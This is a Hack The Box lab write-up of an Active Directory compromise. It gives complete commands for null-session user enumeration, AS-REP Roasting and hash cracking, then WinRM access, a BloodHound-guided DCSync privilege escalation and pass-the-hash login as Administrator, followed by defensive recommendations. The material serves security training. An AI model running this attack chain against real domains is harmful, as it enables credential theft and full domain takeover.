Summary
- We were able to enumerate domain usernames via SMB without authentication (null session).
- Among those users, some had Kerberos pre-authentication disabled, which allowed us to perform AS-REP Roasting and crack
svc-alfresco’s password. - Using that password, we could login as
svc-alfrescoand used BloodHound to map a privilege-escalation path to Administrator via DCSync.
Recommendation
Assuming this were a real environment, I would recommend the following.
- Restrict anonymous/null-session enumeration of domain usernames over SMB.
- Enable Kerberos pre-authentication for all user accounts to prevent AS-REP Roasting.
- Review and remove unnecessary group nesting that grants service accounts excessive privileges (e.g.,
svc-alfrescobeing a member ofAccount Operators), and regularly audit ACLs for dangerous rights (GenericAll,WriteDacl, etc.) granted to non-admin principals, so that no path exists from a low-privileged account to Administrator.
Enumeration
Let’s enumerate the open ports on the machine using nmap. I usually use nmap in 2 steps. First, I take a quick full-port sweep using following options.
-
-sSfor a stealthy SYN scan, which is fast because it doesn’t complete the full 3-way handshake -
-Pnto skip host discovery and assume the host is up, so that all ports actually get checked -
-p-to scan all 65535 TCP ports -
--opento only show ports that are open -
-nto skip DNS resolution since in CTFs like HTB, private IPs usually don’t resolve to anything anyway -
--min-rate 5000to speed up the scan by sending at least 5000 packets per second -
-oA scan_allto save the output in all three formats (.nmap,.xml,.gnmap) under the prefixscan_all
sudo nmap -sS -Pn -p- --open -n --min-rate 5000 -oA scan_all 10.129.95.210
Second, it’s time to dig deeper into the open ports using the following commands and options.
ports=$(grep -oP '\d+/open' scan_all.gnmap | cut -d/ -f1 | paste -sd,)
-
grep -oP '\d+/open'to pull out every<port>/openmatch fromscan_all.gnmap -
cut -d/ -f1to strip off the/openpart, leaving just the port number -
paste -sd,to join all those numbers from separate lines into one comma-separated string - the result is stored in the
portsvariable
sudo nmap -sS -Pn -p "$ports" -A -oN scan_deep.txt 10.129.95.210
-
-sSfor a stealthy SYN scan -
-Pnto skip host discovery -
-p "$ports"to limit the scan to only those open ports -
-Ato enable version detection (-sV), default NSE scripts (-sC), OS detection (-O), and traceroute all at once -
-oN scan_deep.txtfor saving the output toscan_deep.txt
Ports 135 (RPC), 139 (NetBIOS/SMB), and 445 (SMB) are open. Also, 53 (DNS), 389 (LDAP) and 88 (Kerberos) are open, too. This suggests a standalone Windows machine having an Active Directory domain.
It is stated that he domain is htb.local.
Some uncommon ports are open as well.
Add the mapping between the IP address and the hostname to /etc/hosts.
echo "10.129.95.210 htb.local" | sudo tee -a /etc/hosts
sudo nmap -sU -Pn --top-ports 100 -oN scan_udp.txt 10.129.95.210
Many UDPs are open. We may come back.
Since it's a Windows machine with active directory, let's try anonymous and guest login for shares, users and groups at first.
nxc smb 10.129.95.210 -u '' -p '' --shares --users --groups
There are usernames!
Organize them into users.txt.
echo 'sebastien
lucinda
svc-alfresco
andy
mark
santi' > users.txt
Exploitation
Let’s try AS-REP Roasting, since we already know the usernames that exist on the machine. If a user has pre-authentication disabled, the following command gets us an AS-REP hash for offline password cracking.
impacket-GetNPUsers -dc-ip 10.129.15.154 -request -format hashcat -outputfile npusers -usersfile users.txt htb.local/
It says “Requested starttime is later than end time.” So we need to check the time difference between the target machine and our own.
The following command gives us the time difference.
D=$(ldapsearch -x -H ldap://10.129.15.154 -s base -b "" currentTime 2>/dev/null | awk -F': ' '/^currentTime/{t=$2;print substr(t,1,4)"-"substr(t,5,2)"-"substr(t,7,2)" "substr(t,9,2)":"substr(t,11,2)":"substr(t,13,2)}') ; OFF=$(( $(date -u -d "$D" +%s) - $(date -u +%s) )) ; echo "DC=$D UTC / Difference=+${OFF}s (~$((OFF/3600))h$(( (OFF%3600)/60 ))m)"
Let's use faketime to adjust the time.
faketime "+87332 seconds" impacket-GetNPUsers -dc-ip 10.129.15.154 -request -format hashcat -outputfile npusers -usersfile users.txt htb.local/
We get the AS-REP hash!
Let's crack it.
hashcat -m 18200 npusers /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best66.rule
Cracked! svc-alfresco:s3rvice
Let's check what we can do with the credential.
for p in smb winrm rdp wmi mssql; do for a in "" "--local-auth"; do nxc $p 10.129.15.154 -u 'svc-alfresco' -p 's3rvice' $a; done; done; for p in ssh ftp; do nxc $p 10.129.15.154 -u 'svc-alfresco' -p 's3rvice'; done
We can use WINRM.
Let's login.
evil-winrm -i 10.129.15.154 -u svc-alfresco -p s3rvice
type C:\Users\svc-alfresco\Desktop\user.txt
We get the user.txt.
Privilege Escalation
Let’s first use BloodHound to understand how to go from the owned user to Administrator.
bloodhound-ce-python -u svc-alfresco -p 's3rvice' -d htb.local -ns 10.129.15.154 -c all
Upload the files onto BloodHound and use pathfinding from svc-alfresco to Administrator.
There is a path as follows: svc-alfresco is a member of Account Operators, which has GenericAll over Exchange Windows Permissions, which has WriteDacl over HTB.LOCAL — the domain that contains Administrator. So let’s join Exchange Windows Permissions, grant svc-alfresco DCSync rights over HTB.LOCAL, and then use secretsdump to dump Administrator’s hash.
Add svc-alfresco to Exchange Windows Permissions.
net group "Exchange Windows Permissions" svc-alfresco /add /domain
A relogin is necessary for the configuration to take effect.
Use PowerView to grant svc-alfresco DCSync right.
upload PowerView.ps1
. .\PowerView.ps1
Add-DomainObjectAcl -Rights DCSync -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity svc-alfresco -Verbose
Use secretsdump to retrieve Administrator's hash.
impacket-secretsdump -just-dc htb.local/svc-alfresco:'s3rvice'@10.129.15.154
Check what the Administrator and its hash can do.
for p in smb winrm rdp wmi mssql; do for a in "" "--local-auth"; do nxc $p 10.129.15.154 -u 'Administrator' -H '32693b11e6aa90eb43d32c72a07ceea6' $a; done; done; for p in ssh ftp; do nxc $p 10.129.15.154 -u 'Administrator' -H '32693b11e6aa90eb43d32c72a07ceea6'; done
Login and get the root.txt!
evil-winrm -i 10.129.15.154 -u Administrator: -H 32693b11e6aa90eb43d32c72a07ceea6
type C:\Users\Administrator\Desktop\root.txt
Lessons Learned
- BloodHound is a great way to figure out how to get an Administrator shell.
GenericAlllets you do almost anything to the target object.WriteDaclcan lead to DCSync. I’ll learn about other rights for future challenges.























Top comments (0)